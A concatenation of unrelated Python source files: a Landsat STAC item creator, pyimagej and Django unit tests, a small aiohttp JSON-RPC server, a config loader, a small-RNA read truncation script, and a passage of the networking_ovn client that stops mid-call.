from typing import Optional import pystac from pystac.extensions.eo import EOExtension from pystac.extensions.projection import ProjectionExtension from pystac.extensions.view import ViewExtension from stactools.core.io import ReadHrefModifier from stactools.landsat.assets import (ANG_ASSET_DEF, COMMON_ASSET_DEFS, SR_ASSET_DEFS, THERMAL_ASSET_DEFS) from stactools.landsat.constants import (L8_EXTENSION_SCHEMA, L8_INSTRUMENTS, L8_ITEM_DESCRIPTION, L8_PLATFORM) from stactools.landsat.mtl_metadata import MtlMetadata from stactools.landsat.ang_metadata import AngMetadata def create_stac_item( mtl_xml_href: str, read_href_modifier: Optional[ReadHrefModifier] = None) -> pystac.Item: """Creates a Landsat 8 C2 L2 STAC Item. Reads data from a single scene of Landsat Collection 2 Level-2 Surface Reflectance Product data. Uses the MTL XML HREF as the bases for other files; assumes that all files are co-located in a directory or blob prefix. """ base_href = '_'.join(mtl_xml_href.split('_')[:-1]) # Remove the _MTL.txt mtl_metadata = MtlMetadata.from_file(mtl_xml_href, read_href_modifier) ang_href = ANG_ASSET_DEF.get_href(base_href) ang_metadata = AngMetadata.from_file(ang_href, read_href_modifier) scene_datetime = mtl_metadata.scene_datetime item = pystac.Item(id=mtl_metadata.scene_id, bbox=mtl_metadata.bbox, geometry=ang_metadata.get_scene_geometry( mtl_metadata.bbox), datetime=scene_datetime, properties={}) item.common_metadata.platform = L8_PLATFORM item.common_metadata.instruments = L8_INSTRUMENTS item.common_metadata.description = L8_ITEM_DESCRIPTION # eo eo = EOExtension.ext(item, add_if_missing=True) eo.cloud_cover = mtl_metadata.cloud_cover # view view = ViewExtension.ext(item, add_if_missing=True) view.off_nadir = mtl_metadata.off_nadir view.sun_elevation = mtl_metadata.sun_elevation # Sun Azimuth in landsat metadata is -180 to 180 from north, west being negative. # In STAC, it's 0 to 360 clockwise from north. sun_azimuth = mtl_metadata.sun_azimuth if sun_azimuth < 0.0: sun_azimuth = 360 + sun_azimuth view.sun_azimuth = sun_azimuth # projection projection = ProjectionExtension.ext(item, add_if_missing=True) projection.epsg = mtl_metadata.epsg projection.bbox = mtl_metadata.proj_bbox # landsat8 item.stac_extensions.append(L8_EXTENSION_SCHEMA) item.properties.update(**mtl_metadata.additional_metadata) item.properties['landsat:scene_id'] = ang_metadata.scene_id # -- Add assets # Add common assets for asset_definition in COMMON_ASSET_DEFS: asset_definition.add_asset(item, mtl_metadata, base_href) # Add SR assets for asset_definition in SR_ASSET_DEFS: asset_definition.add_asset(item, mtl_metadata, base_href) # Add thermal assets, if this is a L2SP product if mtl_metadata.processing_level == 'L2SP': for asset_definition in THERMAL_ASSET_DEFS: asset_definition.add_asset(item, mtl_metadata, base_href) # -- Add links usgs_item_page = ( f"https://landsatlook.usgs.gov/stac-browser/collection02/level-2/standard/oli-tirs" f"/{scene_datetime.year}" f"/{mtl_metadata.wrs_path}/{mtl_metadata.wrs_row}" f"/{mtl_metadata.scene_id}") item.add_link( pystac.Link(rel="alternate", target=usgs_item_page, title="USGS stac-browser page", media_type="text/html")) return item
python
import argparse import random import sys import pytest import imagej.dims as dims import scyjava as sj import numpy as np import xarray as xr from jpype import JObject, JException, JArray, JInt, JLong class TestImageJ(object): def test_frangi(self, ij_fixture): input_array = np.array( [[1000, 1000, 1000, 2000, 3000], [5000, 8000, 13000, 21000, 34000]] ) result = np.zeros(input_array.shape) ij_fixture.op().filter().frangiVesselness( ij_fixture.py.to_java(result), ij_fixture.py.to_java(input_array), [1, 1], 4 ) correct_result = np.array( [[0, 0, 0, 0.94282, 0.94283], [0, 0, 0, 0.94283, 0.94283]] ) result = np.ndarray.round(result, decimals=5) assert (result == correct_result).all() def test_gaussian(self, ij_fixture): input_array = np.array( [[1000, 1000, 1000, 2000, 3000], [5000, 8000, 13000, 21000, 34000]] ) sigmas = [10.0] * 2 output_array = ( ij_fixture.op().filter().gauss(ij_fixture.py.to_java(input_array), sigmas) ) result = [] correct_result = [8435, 8435, 8435, 8435] ra = output_array.randomAccess() for x in [0, 1]: for y in [0, 1]: ra.setPosition(x, y) result.append(ra.get().get()) assert result == correct_result def test_top_hat(self, ij_fixture): ArrayList = sj.jimport("java.util.ArrayList") HyperSphereShape = sj.jimport( "net.imglib2.algorithm.neighborhood.HyperSphereShape" ) Views = sj.jimport("net.imglib2.view.Views") result = [] correct_result = [0, 0, 0, 1000, 2000, 4000, 7000, 12000, 20000, 33000] input_array = np.array( [[1000, 1000, 1000, 2000, 3000], [5000, 8000, 13000, 21000, 34000]] ) output_array = np.zeros(input_array.shape) java_out = Views.iterable(ij_fixture.py.to_java(output_array)) java_in = ij_fixture.py.to_java(input_array) shapes = ArrayList() shapes.add(HyperSphereShape(5)) ij_fixture.op().morphology().topHat(java_out, java_in, shapes) itr = java_out.iterator() while itr.hasNext(): result.append(itr.next().get()) assert result == correct_result def test_image_math(self, ij_fixture): Views = sj.jimport("net.imglib2.view.Views") input_array = np.array([[1, 1, 2], [3, 5, 8]]) result = [] correct_result = [192, 198, 205, 192, 198, 204] java_in = Views.iterable(ij_fixture.py.to_java(input_array)) java_out = ( ij_fixture.op() .image() .equation( java_in, "64 * (Math.sin(0.1 * p[0]) + Math.cos(0.1 * p[1])) + 128" ) ) itr = java_out.iterator() while itr.hasNext(): result.append(itr.next().get()) assert result == correct_result def test_run_plugin(self, ij_fixture): if not ij_fixture.legacy: pytest.skip("No original ImageJ. Skipping test.") ramp = ij_fixture.IJ.createImage("Tile1", "8-bit ramp", 10, 10, 1) ij_fixture.py.run_plugin("Gaussian Blur...", args={"sigma": 3}, imp=ramp) values = [ramp.getPixel(x, y)[0] for x in range(10) for y in range(10)] # fmt: off assert values == [ 30, 30, 30, 30, 30, 30, 30, 30, 30, 30, 45, 45, 45, 45, 45, 45, 45, 45, 45, 45, 62, 62, 62, 62, 62, 62, 62, 62, 62, 62, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 104, 104, 104, 104, 104, 104, 104, 104, 104, 104, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 148, 148, 148, 148, 148, 148, 148, 148, 148, 148, 168, 168, 168, 168, 168, 168, 168, 168, 168, 168, 185, 185, 185, 185, 185, 185, 185, 185, 185, 185, 200, 200, 200, 200, 200, 200, 200, 200, 200, 200 ] # fmt: on def test_plugins_load_using_pairwise_stitching(self, ij_fixture): try: sj.jimport("plugin.Stitching_Pairwise") except TypeError: pytest.skip("No Pairwise Stitching plugin available. Skipping test.") if not ij_fixture.legacy: pytest.skip("No original ImageJ. Skipping test.") if ij_fixture.ui().isHeadless(): pytest.skip("No GUI. Skipping test.") tile1 = ij_fixture.IJ.createImage("Tile1", "8-bit random", 512, 512, 1) tile2 = ij_fixture.IJ.createImage("Tile2", "8-bit random", 512, 512, 1) args = {"first_image": tile1.getTitle(), "second_image": tile2.getTitle()} ij_fixture.py.run_plugin("Pairwise stitching", args) result_name = ij_fixture.WindowManager.getCurrentImage().getTitle() ij_fixture.IJ.run("Close All", "") assert result_name == "Tile1<->Tile2" @pytest.fixture(scope="module") def get_xarr(): def _get_xarr(option="C"): if option == "C": xarr = xr.DataArray( np.random.rand(5, 4, 6, 12, 3), dims=["t", "pln", "row", "col", "ch"], coords={ "col": list(range(12)), "row": list(range(0, 12, 2)), "ch": [0, 1, 2], "pln": list(range(10, 50, 10)), "t": list(np.arange(0, 0.05, 0.01)), }, attrs={"Hello": "World"}, ) elif option == "F": xarr = xr.DataArray( np.ndarray([5, 4, 3, 6, 12], order="F"), dims=["t", "pln", "ch", "row", "col"], coords={ "col": list(range(12)), "row": list(range(0, 12, 2)), "pln": list(range(10, 50, 10)), "t": list(np.arange(0, 0.05, 0.01)), }, attrs={"Hello": "World"}, ) else: xarr = xr.DataArray(np.random.rand(1, 2, 3, 4, 5)) return xarr return _get_xarr @pytest.fixture(scope="module") def get_imgplus(): def _get_imgplus(ij_fixture): """Get a 7D ImgPlus.""" # get java resources Random = sj.jimport("java.util.Random") Axes = sj.jimport("net.imagej.axis.Axes") UnsignedByteType = sj.jimport( "net.imglib2.type.numeric.integer.UnsignedByteType" ) DatasetService = ij_fixture.get("net.imagej.DatasetService") # test image parameters foo = Axes.get("foo") bar = Axes.get("bar") shape = [13, 17, 5, 2, 3, 7, 11] axes = [Axes.X, Axes.Y, foo, bar, Axes.CHANNEL, Axes.TIME, Axes.Z] # create image dataset = DatasetService.create(UnsignedByteType(), shape, "fabulous7D", axes) imgplus = dataset.typedImg(UnsignedByteType()) # fill the image with noise rng = Random(123456789) t = UnsignedByteType() for t in imgplus: t.set(rng.nextInt(256)) return imgplus return _get_imgplus def assert_xarray_equal_to_dataset(ij_fixture, xarr): dataset = ij_fixture.py.to_java(xarr) axes = [dataset.axis(axnum) for axnum in range(5)] labels = [axis.type().getLabel() for axis in axes] for label, vals in xarr.coords.items(): cur_axis = axes[labels.index(dims._convert_dim(label, direction="java"))] for loc in range(len(vals)): assert vals[loc] == cur_axis.calibratedValue(loc) if np.isfortran(xarr.values): expected_labels = [ dims._convert_dim(dim, direction="java") for dim in xarr.dims ] else: expected_labels = ["X", "Y", "Z", "Time", "Channel"] assert expected_labels == labels assert xarr.attrs == ij_fixture.py.from_java(dataset.getProperties()) def assert_inverted_xarr_equal_to_xarr(dataset, ij_fixture, xarr): # Reversing back to xarray yields original results invert_xarr = ij_fixture.py.from_java(dataset) assert (xarr.values == invert_xarr.values).all() assert list(xarr.dims) == list(invert_xarr.dims) for key in xarr.coords: assert (xarr.coords[key] == invert_xarr.coords[key]).all() assert xarr.attrs == invert_xarr.attrs def assert_permuted_rai_equal_to_source_rai(imgplus): # get java resources Axes = sj.jimport("net.imagej.axis.Axes") # define extra axes foo = Axes.get("foo") bar = Axes.get("bar") # permute the rai to python order axis_types = [axis.type() for axis in imgplus.dim_axes] permute_order = dims.prioritize_rai_axes_order( axis_types, dims._python_rai_ref_order() ) permuted_rai = dims.reorganize(imgplus, permute_order) # extract values for assertion oc = imgplus.dimensionIndex(Axes.CHANNEL) ox = imgplus.dimensionIndex(Axes.X) oy = imgplus.dimensionIndex(Axes.Y) oz = imgplus.dimensionIndex(Axes.Z) ot = imgplus.dimensionIndex(Axes.TIME) of = imgplus.dimensionIndex(foo) ob = imgplus.dimensionIndex(bar) nc = permuted_rai.dimensionIndex(Axes.CHANNEL) nx = permuted_rai.dimensionIndex(Axes.X) ny = permuted_rai.dimensionIndex(Axes.Y) nz = permuted_rai.dimensionIndex(Axes.Z) nt = permuted_rai.dimensionIndex(Axes.TIME) nf = permuted_rai.dimensionIndex(foo) nb = permuted_rai.dimensionIndex(bar) oc_len = imgplus.dimension(oc) ox_len = imgplus.dimension(ox) oy_len = imgplus.dimension(oy) oz_len = imgplus.dimension(oz) ot_len = imgplus.dimension(ot) of_len = imgplus.dimension(of) ob_len = imgplus.dimension(ob) nc_len = permuted_rai.dimension(nc) nx_len = permuted_rai.dimension(nx) ny_len = permuted_rai.dimension(ny) nz_len = permuted_rai.dimension(nz) nt_len = permuted_rai.dimension(nt) nf_len = permuted_rai.dimension(nf) nb_len = permuted_rai.dimension(nb) # assert the number of pixels of each dimension assert oc_len == nc_len assert ox_len == nx_len assert oy_len == ny_len assert oz_len == nz_len assert ot_len == nt_len assert of_len == nf_len assert ob_len == nb_len # get RandomAccess imgplus_access = imgplus.randomAccess() permuted_rai_access = permuted_rai.randomAccess() # assert pixels between source and permuted rai for c in range(oc_len): imgplus_access.setPosition(c, oc) permuted_rai_access.setPosition(c, nc) for x in range(ox_len): imgplus_access.setPosition(x, ox) permuted_rai_access.setPosition(x, nx) for y in range(oy_len): imgplus_access.setPosition(y, oy) permuted_rai_access.setPosition(y, ny) for z in range(oz_len): imgplus_access.setPosition(z, oz) permuted_rai_access.setPosition(z, nz) for t in range(ot_len): imgplus_access.setPosition(t, ot) permuted_rai_access.setPosition(t, nt) for f in range(of_len): imgplus_access.setPosition(f, of) permuted_rai_access.setPosition(f, nf) for b in range(ob_len): imgplus_access.setPosition(b, ob) permuted_rai_access.setPosition(b, nb) sample_name = f"C: {c}, X: {x}, Y: {y}, Z: {z}, T: {t}, F: {f}, B: {b}" assert ( imgplus_access.get() == permuted_rai_access.get() ), sample_name class TestXarrayConversion(object): def test_cstyle_array_with_labeled_dims_converts(self, ij_fixture, get_xarr): assert_xarray_equal_to_dataset(ij_fixture, get_xarr()) def test_fstyle_array_with_labeled_dims_converts(self, ij_fixture, get_xarr): assert_xarray_equal_to_dataset(ij_fixture, get_xarr("F")) def test_7d_rai_to_python_permute(self, ij_fixture, get_imgplus): assert_permuted_rai_equal_to_source_rai(get_imgplus(ij_fixture)) def test_dataset_converts_to_xarray(self, ij_fixture, get_xarr): xarr = get_xarr() dataset = ij_fixture.py.to_java(xarr) assert_inverted_xarr_equal_to_xarr(dataset, ij_fixture, xarr) def test_rgb_image_maintains_correct_dim_order_on_conversion( self, ij_fixture, get_xarr ): xarr = get_xarr() dataset = ij_fixture.py.to_java(xarr) axes = [dataset.axis(axnum) for axnum in range(5)] labels = [axis.type().getLabel() for axis in axes] assert ["X", "Y", "Z", "Time", "Channel"] == labels # Test that automatic axis swapping works correctly numpy_image = ij_fixture.py.initialize_numpy_image(dataset) raw_values = ij_fixture.py.rai_to_numpy(dataset, numpy_image) assert (xarr.values == np.moveaxis(raw_values, 0, -1)).all() assert_inverted_xarr_equal_to_xarr(dataset, ij_fixture, xarr) def test_no_coords_or_dims_in_xarr(self, ij_fixture, get_xarr): xarr = get_xarr("NoDims") dataset = ij_fixture.py.from_java(xarr) assert_inverted_xarr_equal_to_xarr(dataset, ij_fixture, xarr) @pytest.fixture(scope="module") def arr(): empty_array = np.zeros([512, 512]) return empty_array class TestSynchronization(object): def test_get_imageplus_synchronizes_from_imagej_to_imagej2(self, ij_fixture, arr): if not ij_fixture.legacy: pytest.skip("No original ImageJ. Skipping test.") if ij_fixture.ui().isHeadless(): pytest.skip("No GUI. Skipping test.") original = arr[0, 0] ds = ij_fixture.py.to_java(arr) ij_fixture.ui().show(ds) macro = """run("Add...", "value=5");""" ij_fixture.py.run_macro(macro) imp = ij_fixture.py.active_imageplus() assert arr[0, 0] == original + 5 def test_synchronize_from_imagej_to_numpy(self, ij_fixture, arr): if not ij_fixture.legacy: pytest.skip("No original ImageJ. Skipping test.") if ij_fixture.ui().isHeadless(): pytest.skip("No GUI. Skipping test.") original = arr[0, 0] ds = ij_fixture.py.to_dataset(arr) ij_fixture.ui().show(ds) imp = ij_fixture.py.active_imageplus() imp.getProcessor().add(5) ij_fixture.py.sync_image(imp) assert arr[0, 0] == original + 5 def test_window_to_numpy_converts_active_image_to_xarray(self, ij_fixture, arr): if not ij_fixture.legacy: pytest.skip("No original ImageJ. Skipping test.") if ij_fixture.ui().isHeadless(): pytest.skip("No GUI. Skipping test.") ds = ij_fixture.py.to_dataset(arr) ij_fixture.ui().show(ds) new_arr = ij_fixture.py.active_xarray() assert (arr == new_arr.values).all def test_functions_throw_warning_if_legacy_not_enabled(self, ij_fixture): if ij_fixture.legacy and ij_fixture.legacy.isActive(): pytest.skip("Original ImageJ installed. Skipping test.") with pytest.raises(AttributeError): ij_fixture.py.sync_image(None) with pytest.raises(ImportError): ij_fixture.py.active_imageplus() @pytest.fixture(scope="module") def get_nparr(): def _get_nparr(): return np.random.rand(1, 2, 3, 4, 5) return _get_nparr @pytest.fixture(scope="module") def get_img(ij_fixture): def _get_img(): # Create img CreateNamespace = sj.jimport("net.imagej.ops.create.CreateNamespace") dims = JArray(JLong)([1, 2, 3, 4, 5]) ns = ij_fixture.op().namespace(CreateNamespace) img = ns.img(dims) # Populate img with random data cursor = img.cursor() while cursor.hasNext(): val = random.random() cursor.next().set(val) return img return _get_img def assert_ndarray_equal_to_img(img, nparr): cursor = img.cursor() arr = JArray(JInt)(5) while cursor.hasNext(): y = cursor.next().get() cursor.localize(arr) # TODO: Imglib has inverted dimensions - extract this behavior into a helper function x = nparr[tuple(arr[::-1])] assert x == y def convert_ndarray_and_assert_equality(ij_fixture, nparr): img = ij_fixture.py.to_java(nparr) assert_ndarray_equal_to_img(img, nparr) def convert_img_and_assert_equality(ij_fixture, img): nparr = ij_fixture.py.from_java(img) assert_ndarray_equal_to_img(img, nparr) class TestNumpyConversion(object): def test_ndarray_converts_to_img(self, ij_fixture, get_nparr): convert_ndarray_and_assert_equality(ij_fixture, get_nparr()) def test_img_converts_to_ndarray(self, ij_fixture, get_img): convert_img_and_assert_equality(ij_fixture, get_img()) class TestRAIArraylike(object): @pytest.fixture def img(self): # Create img ArrayImgs = sj.jimport("net.imglib2.img.array.ArrayImgs") img = ArrayImgs.bytes(2, 3, 4) # Insert a different value into each index tmp_val = 1 cursor = img.cursor() while cursor.hasNext(): cursor.next().set(tmp_val) tmp_val += 1 # Return the new img return img def test_slice_index(self, ij_fixture, img): assert img[0, 0, 0].get() == 1 def test_slice_index_negative(self, ij_fixture, img): assert img[-1, -1, -1].get() == 24 def test_slice_2d(self, ij_fixture, img): Views = sj.jimport("net.imglib2.view.Views") expected = Views.hyperSlice(img, 0, 0) actual = img[0, :, :] for i in range(3): for j in range(4): assert expected[i, j] == actual[i, j] def test_slice_2d_negative(self, ij_fixture, img): Views = sj.jimport("net.imglib2.view.Views") expected = Views.hyperSlice(img, 0, 1) actual = img[-1, :, :] for i in range(3): for j in range(4): assert expected[i, j] == actual[i, j] def test_slice_1d(self, ij_fixture, img): Views = sj.jimport("net.imglib2.view.Views") expected = Views.hyperSlice(Views.hyperSlice(img, 0, 0), 0, 0) actual = img[0, 0, :] for i in range(4): assert expected[i] == actual[i] def test_slice_1d_negative(self, ij_fixture, img): Views = sj.jimport("net.imglib2.view.Views") expected = Views.hyperSlice(Views.hyperSlice(img, 0, 1), 0, 1) actual = img[-1, -2, :] for i in range(4): assert expected[i] == actual[i] def test_slice_int(self, ij_fixture, img): Views = sj.jimport("net.imglib2.view.Views") expected = Views.hyperSlice(img, 0, 0) actual = img[0] for i in range(3): for j in range(4): assert expected[i, j] == actual[i, j] def test_slice_not_enough_dims(self, ij_fixture, img): Views = sj.jimport("net.imglib2.view.Views") expected = Views.hyperSlice(Views.hyperSlice(img, 0, 0), 0, 0) actual = img[0, 0] for i in range(4): assert expected[i] == actual[i] def test_step(self, ij_fixture, img): # Create a stepped img via Views Views = sj.jimport("net.imglib2.view.Views") steps = JArray(JLong)([1, 1, 2]) expected = Views.subsample(img, steps) # Create a stepped img via slicing notation actual = img[:, :, ::2] for i in range(2): for j in range(3): for k in range(2): assert expected[i, j, k] == actual[i, j, k] def test_step_not_enough_dims(self, ij_fixture, img): # Create a stepped img via Views Views = sj.jimport("net.imglib2.view.Views") steps = JArray(JLong)([2, 1, 1]) expected = Views.subsample(img, steps) expected = Views.dropSingletonDimensions(expected) # Create a stepped img via slicing notation actual = img[::2] for i in range(3): for j in range(4): assert expected[i, j] == actual[i, j] def test_slice_and_step(self, ij_fixture, img): # Create a stepped img via Views Views = sj.jimport("net.imglib2.view.Views") intervaled = Views.hyperSlice(img, 0, 0) steps = JArray(JLong)([1, 2]) expected = Views.subsample(intervaled, steps) # Create a stepped img via slicing notation actual = img[:1, :, ::2] for i in range(3): for j in range(2): assert expected[i, j] == actual[i, j] def test_shape(self, ij_fixture, img): assert hasattr(img, "shape") assert img.shape == (2, 3, 4) def test_dtype(self, ij_fixture, img): assert hasattr(img, "dtype") ByteType = sj.jimport("net.imglib2.type.numeric.integer.ByteType") assert img.dtype == ByteType def test_dtype(self, ij_fixture, img): assert hasattr(img, "ndim") assert img.ndim == 3 def test_transpose1d(self, ij_fixture, img): img = img[0, 0] transpose = img.T for i in range(2): assert transpose[i] == img[i] def test_transpose2d(self, ij_fixture, img): img = img[0] transpose = img.T for i in range(3): for j in range(2): assert transpose[i, j] == img[j, i] def test_transpose3d(self, ij_fixture, img): transpose = img.T for i in range(4): for j in range(3): for k in range(2): assert transpose[i, j, k] == img[k, j, i]
python
#!/usr/bin/env python # -*- coding: utf-8 -*- # Author: Florian Scherf <[email protected]> from aiohttp.web import Application from aiohttp_json_rpc import JsonRpc import asyncio @asyncio.coroutine def ping(request): return 'pong' if __name__ == '__main__': loop = asyncio.get_event_loop() rpc = JsonRpc() rpc.add_methods( ('', ping), ) app = Application(loop=loop) app.router.add_route('*', '/', rpc) handler = app.make_handler() server = loop.run_until_complete( loop.create_server(handler, '0.0.0.0', 8080)) loop.run_forever()
python
""" Application configuration logic. """ import json default_config_file = 'config.json' class Config(): """App configuration.""" def __init__(self, **kwargs): self.__dict__.update(kwargs) def update(self, key: str, value: str): """ Update the app's configuration. Set a new value for the given key. If the key didn't exist in the configuration before, it will be created. """ self.__dict__.update({key: value}) with open(default_config_file, 'w') as f: json.dump(self.__dict__, f) def load_config() -> Config: """ Load the app's configuration from file. If a configuration file is not found, a default one will be created. """ try: with open(default_config_file, 'r') as f: values = json.load(f) except FileNotFoundError: values = create_default_config() return Config(**values) def create_default_config() -> dict: """Create a configuration file with default values.""" default_values = { 'server_url': 'http://localhost', 'server_port': '8000' } with open(default_config_file, 'w') as f: json.dump(default_values, f) return default_values
python
from django.test import TestCase from mock import Mock, sentinel from morelia.decorators import tags from tasks.templatetags.tasks_tags import _show_current_tasks, is_visible_for from tasks.models import Task @tags(['unit']) class ShowCurrentTasksTest(TestCase): """ :py:func:`tasks.templatetags.tasks_tags._show_current_tasks` """ def test_should_show_tasks_for_profile(self): # Arrange tasks_manager = Mock(Task.objects) tasks_manager.get_for_owner.return_value = sentinel.current_tasks # Act result = _show_current_tasks( sentinel.profile, sentinel.user, tasks_manager=tasks_manager) # Assert self.assertEqual(result['user'], sentinel.user) self.assertEqual(result['tasks'], sentinel.current_tasks) tasks_manager.get_for_owner.assert_called_once_with(sentinel.profile) @tags(['unit']) class IsVisibleForTest(TestCase): """ :py:func:`tasks.templatetags.tasks_tags.is_visible_for` """ def test_should_return_true_for_author_tasks(self): # Arrange task = Mock(Task) task.author = sentinel.author task.owner = sentinel.owner # Act result = is_visible_for(task, sentinel.author) # Assert self.assertTrue(result) def test_should_return_true_for_owner_tasks(self): # Arrange task = Mock(Task) task.author = sentinel.author task.owner = sentinel.owner # Act result = is_visible_for(task, sentinel.owner) # Assert self.assertTrue(result) def test_should_return_false_for_foreign_tasks(self): # Arrange task = Mock(Task) task.author = sentinel.owner task.owner = sentinel.owner # Act result = is_visible_for(task, sentinel.author) # Assert self.assertFalse(result)
python
#!/usr/bin/python # script for generating 2 fasta files of 23nt-TRUNCATED 23-28nt reads, forward and reverse, before weblogo analysis # version 23-5-2012 # Usage trunc_pi23.py <bowtie input> <output1> <output2> import sys, re, os def antipara (sequence): antidict = {"A":"T", "T":"A", "G":"C", "C":"G"} revseq = sequence[::-1] return "".join([antidict[i] for i in revseq]) def RNAtranslate (sequence): return "".join([i if i in "AGC" else "U" for i in sequence]) def dispatch (bowtie_input, f23, r23): IN = open (bowtie_input) F23= open (f23, "w") R23= open (r23, "w") for line in IN: fields = line.split() read_header = fields[0] read_polarity = fields[1] read_sequence = fields[4] if "N" in read_sequence: continue read_size = len(read_sequence) if read_polarity == "+" and 23<read_size<28: seq = RNAtranslate (read_sequence) print >> F23, ">%s\n%s" % (read_header, seq[:23]) elif read_polarity == "-" and 23<read_size<28: seq = RNAtranslate (antipara(read_sequence)) print >> R23, ">%s\n%s" % (read_header, seq[:23]) IN.close() F23.close() R23.close() return dispatch (sys. argv[1], sys. argv[2], sys. argv[3])
python
# Copyright 2017 Red Hat, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import collections import copy import netaddr from neutron_lib.api.definitions import l3 from neutron_lib.api.definitions import port_security as psec from neutron_lib import constants as const from neutron_lib import context as n_context from neutron_lib.plugins import directory from neutron_lib.utils import helpers from neutron_lib.utils import net as n_net from oslo_config import cfg from oslo_log import log from oslo_utils import excutils from networking_ovn.common import acl as ovn_acl from networking_ovn.common import config from networking_ovn.common import constants as ovn_const from networking_ovn.common import utils from networking_ovn.l3 import l3_ovn_scheduler from networking_ovn.ml2 import qos_driver LOG = log.getLogger(__name__) OvnPortInfo = collections.namedtuple('OvnPortInfo', ['type', 'options', 'addresses', 'port_security', 'parent_name', 'tag', 'dhcpv4_options', 'dhcpv6_options']) class OVNClient(object): def __init__(self, nb_idl, sb_idl): self._nb_idl = nb_idl self._sb_idl = sb_idl self._plugin_property = None qos_driver.OVNQosNotificationDriver.create() self._qos_driver = qos_driver.OVNQosDriver(self) self._ovn_scheduler = l3_ovn_scheduler.get_scheduler() @property def _plugin(self): if self._plugin_property is None: self._plugin_property = directory.get_plugin() return self._plugin_property def _get_allowed_addresses_from_port(self, port): if not port.get(psec.PORTSECURITY): return [] if utils.is_lsp_trusted(port): return [] allowed_addresses = set() addresses = port['mac_address'] for ip in port.get('fixed_ips', []): addresses += ' ' + ip['ip_address'] for allowed_address in port.get('allowed_address_pairs', []): # If allowed address pair has same mac as the port mac, # append the allowed ip address to the 'addresses'. # Else we will have multiple entries for the same mac in # 'Logical_Switch_Port.port_security'. if allowed_address['mac_address'] == port['mac_address']: addresses += ' ' + allowed_address['ip_address'] else: allowed_addresses.add(allowed_address['mac_address'] + ' ' + allowed_address['ip_address']) allowed_addresses.add(addresses) return list(allowed_addresses) def _get_subnet_dhcp_options_for_port(self, port, ip_version): """Returns the subnet dhcp options for the port. Return the first found DHCP options belong for the port. """ subnets = [ fixed_ip['subnet_id'] for fixed_ip in port['fixed_ips'] if netaddr.IPAddress(fixed_ip['ip_address']).version == ip_version] get_opts = self._nb_idl.get_subnets_dhcp_options(subnets) if get_opts: if ip_version == const.IP_VERSION_6: # Always try to find a dhcpv6 stateful v6 subnet to return. # This ensures port can get one stateful v6 address when port # has multiple dhcpv6 stateful and stateless subnets. for opts in get_opts: # We are setting ovn_const.DHCPV6_STATELESS_OPT to "true" # in _get_ovn_dhcpv6_opts, so entries in DHCP_Options table # should have unicode type 'true' if they were defined as # dhcpv6 stateless. if opts['options'].get( ovn_const.DHCPV6_STATELESS_OPT) != 'true': return opts return get_opts[0] def _get_port_dhcp_options(self, port, ip_version): """Return dhcp options for port. In case the port is dhcp disabled, or IP addresses it has belong to dhcp disabled subnets, returns None. Otherwise, returns a dict: - with content from a existing DHCP_Options row for subnet, if the port has no extra dhcp options. - with only one item ('cmd', AddDHCPOptionsCommand(..)), if the port has extra dhcp options. The command should be processed in the same transaction with port creating or updating command to avoid orphan row issue happen. """ lsp_dhcp_disabled, lsp_dhcp_opts = utils.get_lsp_dhcp_opts( port, ip_version) if lsp_dhcp_disabled: return subnet_dhcp_options = self._get_subnet_dhcp_options_for_port( port, ip_version) if not subnet_dhcp_options: # NOTE(lizk): It's possible for Neutron to configure a port with IP # address belongs to subnet disabled dhcp. And no DHCP_Options row # will be inserted for such a subnet. So in that case, the subnet # dhcp options here will be None. return if not lsp_dhcp_opts: return subnet_dhcp_options # This port has extra DHCP options defined, so we will create a new # row in DHCP_Options table for it. subnet_dhcp_options['options'].update(lsp_dhcp_opts) subnet_dhcp_options['external_ids'].update( {'port_id': port['id']}) subnet_id = subnet_dhcp_options['external_ids']['subnet_id'] add_dhcp_opts_cmd = self._nb_idl.add_dhcp_options( subnet_id, port_id=port['id'], cidr=subnet_dhcp_options['cidr'], options=subnet_dhcp_options['options'], external_ids=subnet_dhcp_options['external_ids']) return {'cmd': add_dhcp_opts_cmd} def _get_port_options(self, port, qos_options=None): binding_prof = utils.validate_and_get_data_from_binding_profile(port) if qos_options is None: qos_options = self._qos_driver.get_qos_options(port) vtep_physical_switch = binding_prof.get('vtep-physical-switch') if vtep_physical_switch: vtep_logical_switch = binding_prof.get('vtep-logical-switch') port_type = 'vtep' options = {'vtep-physical-switch': vtep_physical_switch, 'vtep-logical-switch': vtep_logical_switch} addresses = "unknown" parent_name = [] tag = [] port_security = [] else: options = qos_options parent_name = binding_prof.get('parent_name', []) tag = binding_prof.get('tag', []) addresses = port['mac_address'] for ip in port.get('fixed_ips', []): addresses += ' ' + ip['ip_address'] port_security = self._get_allowed_addresses_from_port(port) port_type = '' dhcpv4_options = self._get_port_dhcp_options(port, const.IP_VERSION_4) dhcpv6_options = self._get_port_dhcp_options(port, const.IP_VERSION_6) return OvnPortInfo(port_type, options, [addresses], port_security, parent_name, tag, dhcpv4_options, dhcpv6_options) def create_port(self, port): port_info = self._get_port_options(port) external_ids = {ovn_const.OVN_PORT_NAME_EXT_ID_KEY: port['name']} lswitch_name = utils.ovn_name(port['network_id']) admin_context = n_context.get_admin_context() sg_cache = {} subnet_cache = {} # It's possible to have a network created on one controller and then a # port created on a different controller quickly enough that the second # controller does not yet see that network in its local cache of the # OVN northbound database. Check if the logical switch is present # or not in the idl's local copy of the database before creating # the lswitch port. self._nb_idl.check_for_row_by_value_and_retry( 'Logical_Switch', 'name', lswitch_name) with self._nb_idl.transaction(check_error=True) as txn: if not port_info.dhcpv4_options: dhcpv4_options = [] elif 'cmd' in port_info.dhcpv4_options: dhcpv4_options = txn.add(port_info.dhcpv4_options['cmd']) else: dhcpv4_options = [port_info.dhcpv4_options['uuid']] if not port_info.dhcpv6_options: dhcpv6_options = [] elif 'cmd' in port_info.dhcpv6_options: dhcpv6_options = txn.add(port_info.dhcpv6_options['cmd']) else: dhcpv6_options = [port_info.dhcpv6_options['uuid']] # The lport_name *must* be neutron port['id']. It must match the # iface-id set in the Interfaces table of the Open_vSwitch # database which nova sets to be the port ID. txn.add(self._nb_idl.create_lswitch_port( lport_name=port['id'], lswitch_name=lswitch_name, 